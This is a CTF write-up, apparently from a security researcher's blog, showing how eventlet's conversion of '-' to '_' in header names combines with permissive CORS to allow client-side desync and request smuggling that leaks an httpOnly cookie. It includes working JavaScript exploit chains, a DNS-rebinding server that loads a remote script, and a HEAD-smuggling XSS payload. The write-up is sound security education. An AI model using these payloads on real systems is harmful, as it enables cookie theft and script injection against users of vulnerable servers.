keyboard_arrow_up

title: Twitter challenge | Eventlet Client Side Desync
date: May 22, 2024
tags: Writeup Twitter Web Request_Smuggling


Twitter challenge | Eventlet Client Side Desync

(Link)


Table of content


🕵️ Recon

This challenge consisted of only one endpoint with a very permissive CORS configuration:

from flask import Flask, request, jsonify
from eventlet import wsgi, listen

app = Flask(__name__)

@app.route("/", methods=["OPTIONS", "POST", "GET"])
def index():
    res = jsonify({ "data": request.get_data().decode() })
    res.headers["Set-Cookie"] = "flag=FLAG{Congratz_:)}; httpOnly=True"
    res.headers["Access-Control-Allow-Origin"] = request.headers.get("Origin")
    res.headers["Access-Control-Allow-Headers"] = request.headers.get("Access-Control-Request-Headers")
    res.headers["Access-Control-Allow-Credentials"] = "true"
    return res

wsgi.server(listen(("0.0.0.0", 33333)), app)

As we can see, it will:

This might looks weird at the first place, but it is quite common configuration for sharing harmless data cross sites using CORS.

Additionally, thanks to the provided sources, it was possible to see that the eventlet version was pinned to 0.35.1:

Flask
eventlet==0.35.1
flask_cors

The final goal was to find a way to pop an alert the flag cookie, which has an httpOnly=True attribute.


👀 - to _ Normalisation

At first glance, the challenge might look like a CORS challenge since it is the only misconfiguration present in the source code. Therefore, it is important not to forget the pinned eventlet version in the requirements.txt file.

By taking a look at the eventlet repository, it was possible to find the following PR I made a few days ago:

pr.png

This PR aims to block the blocks headers key which contains an _ in incoming requests.

Why block those headers?

This is because eventlet was normalizing - to _ and using .upper() on each header key before using it:

for k, v in headers_raw:
    k = k.replace('-', '_').upper()
    if k in ('CONTENT_TYPE', 'CONTENT_LENGTH'):
        continue
    envk = 'HTTP_' + k
    if envk in env:
        env[envk] += ',' + v
    else:
        env[envk] = v

Due to this, it was possible to reach the server using CONTENT_LENGTH instead of Content-Length, which could lead to request smuggling depending on the infrastructure.

Great research has already been conducted on the subject by @DTCERT: research article.

Why do WSGI servers do this?

This comes from an old notation that inherite the global variables typo in low-level languages. It was used as a way to normalize the current request environments, which are designed to give context about the current execution request.

This normalization is quite common in Python WSGI; most of them do this:

Some _ character limitations in header keys advisory can be found here:


🪟 Client-Side Desync

At this point, we know that the challenge's eventlet version allows the usage of _ instead of - within headers.

How could this be leveraged to leak an HTTPOnly cookie?

To answer this question, we need to take a look at the WhatWG fetch spec: (ref)

whatwg.png

As we can see, the Transfer-Encoding header is forbidden by default, mostly to avoid request smuggling from the client side. Therefore, thanks to the CORS configuration and the eventlet normalization, it is possible to use the Transfer_Encoding header instead 👀

fetch("http://challenges.mizu.re:33333/", {
    method: "POST",
    headers: { "Transfer_Encoding": "chunked" },
    body: "0\r\n\r\nGET /smug:) HTTP/1.1\r\n\r\n",
    credentials: "include"
})

smug.png

A good aspect of this configuration is that, thanks to CORS and the reflection of the body data, it is simple to manipulate the browser request using basic CSD techniques!

const ORIGIN = location.origin === "file://" ? "null" : location.origin;
const TARGET = "http://challenges.mizu.re:33333/";

fetch(TARGET, {
    method: "POST",
    headers: { "Transfer_Encoding": "chunked" },
    body: `0\r\n\r\nPOST / HTTP/1.1\r\nOrigin: ${ORIGIN}\r\nContent-Length: 1000\r\n\r\n`,
    credentials: "include"
}).then(() => {
    setTimeout(() => {
        fetch(TARGET, {
            method: "POST",
            credentials: "include",
            body: "A".repeat(1000)
        }).then(d => d.text()).then((d) => {
            alert(d);
        });
    }, 500)
});

csd_01.png

More references about such exploitation can be found here.


🍪 Browser's tracking protections

At this point, you might think that the challenge is finished, however, it is not :p

If you take a closer look at the previous screenshot, you should notice that the Cookie header isn't present within the alert popup 😔

Why is the cookie not included when CORS allows it?

This is due to the recent browser tracking policy updates:

In Firefox, this protection can be easily bypassed by opening the page before fetching it. By doing so, the current website will be whitelisted for 30 days (documentation).

ff_tracking.png

Great researches has been made on the subject by @ptswarm: research article.

The complication arises when we want to retrieve the cookie on Chromium-based browsers. To be honest, when posting the challenge, I had only solved it on Firefox and thought it would be impossible on Chromium (spoiler: I was wrong, see the unintended solution section).


💥 TL/DR: Chain everything together

const ORIGIN = location.origin === "file://" ? "null" : location.origin;
const TARGET = "http://challenges.mizu.re:33333/";

open(TARGET);
fetch(TARGET, {
    method: "POST",
    headers: { "Transfer_Encoding": "chunked" },
    body: `0\r\n\r\nPOST / HTTP/1.1\r\nOrigin: ${ORIGIN}\r\nContent-Length: 1000\r\n\r\n`,
    credentials: "include"
}).then(() => {
    setTimeout(() => {
        fetch(TARGET, {
            method: "POST",
            credentials: "include",
            body: "A".repeat(1000)
        }).then(d => d.text()).then((d) => {
            alert(d);
        });
    }, 500)
});

solution_01.png


🤯 Unintended solutions


DNS rebinding | @frevadiscor89

This solution, found by @frevadiscor89, uses the fact that DNS rebinding is possible from the browser side. This is quite useful in the challenge context as the Set-Cookie header, which contains the flag, will be set regardless of the domain used to reach the web server.

Thus, using DNS rebinding, it is possible to have the same origin as the challenge, which isn't limited by the tracking protection. From here, simply reproducing the bug explained before allows the flag to be leaked 🔥

It was also possible to retrieve the cookie server-side by using DNS rebinding one more time.

from flask import Flask, request, abort

app = Flask(__name__)
post_request_count = 0

@app.route('/exploit')
def send_auto_post():
    return '''
<html>
<body>
    <script>
        function makeid(length) {
            var result = '';
            var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
            var charactersLength = characters.length;
            for (var i = 0; i < length; i++) {
                result += characters.charAt(Math.floor(Math.random() * charactersLength));
            }
            return result;
        }

        const host = "http://double.fr3v4.org:33333/";
        let count = 0;
        let maxTries = 5;

        function dns_rebind() {
            if (count < maxTries) {
                fetch(`${host}count?rand=` + makeid(4), {mode: 'no-cors', keepalive: false})
                    .then(response => {
                        if (response.status === 200) {
                            response.text().then(text => {
                                perform_csd();
                            });
                        } else {
                            throw new Error('Status not 200');
                        }
                    })
                    .catch(() => {
                        count++;
                        setTimeout(dns_rebind, 10);
                    });
            } else {
                perform_csd();
            }
        }

        function perform_csd() {
            const script1 = document.createElement('script');
            script1.src = 'https://VPS/csd.js';
            script1.onload = () => fetchData();
            document.body.appendChild(script1);
        }
       dns_rebind();
    </script>
</body>
</html>'''

@app.route('/count')
def handle_posts():
    global post_request_count
    post_request_count += 1
    if post_request_count >= 4:
        shutdown_server()
    return abort(404)

def shutdown_server():
    func = request.environ.get('werkzeug.server.shutdown')
    if func is None:
        raise RuntimeError('Not running with the Werkzeug Server')
    func()

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=33333)


Firefox only XSS (What?!) | @taramtrampam

This solution, found by @taramtrampam, uses the fact that a HEAD response has a Content-Length header without any body: (RFC 7231)

head_01.png

This is something that has been highlighted by @tincho_508 in his request smuggling research article.

In the challenge context:

head_02.png

How this can be leveraged?

By smuggling a HEAD request, it is possible to force the browser to read more than expected on the next request. Using the Origin header reflection and forcing the request to be an iframe one leads to triggering an XSS on the http://challenges.mizu.re:33333/ domain on a page that contains the cookie 🔥

head_03.png

As we can see, because the browser has no idea it is receiving a HEAD response, it will read the TCP stream according to the Content-Length header in the HEAD response. Since this is done on a 404 error page, the Content-Type is text/html, leading to an XSS via the origin header reflection :)

This won't work on Chromium-based browsers since they have request splitting protection.

<!DOCTYPE html>
<iframe id="ttt" name="ttt-name"></iframe>

<script>
const body = `0

HEAD /aaa HTTP/1.1
Connection: keep-alive
Transfer_Encoding: chunked

0

GET / HTTP/1.1
Origin: <script>eval(location.hash.slice(1))<\/script>

`.replaceAll('\n', '\r\n');

const test = () => {
    fetch('http://challenges.mizu.re:33333/', {
        method: "POST",
        headers: { 
            "Transfer_Encoding": "chunked",
        },
        credentials: 'include',
        mode: 'cors',
        body
    }).then((q) => {
        return q.text();
    }).then((data) => {
        console.log(data);
        ttt.src = 'http://challenges.mizu.re:33333/?4#alert(document.body.innerText.match(/FLAG\{.*\}/))';
    });
}

test();
</script>

xss.png


🔥 Solvers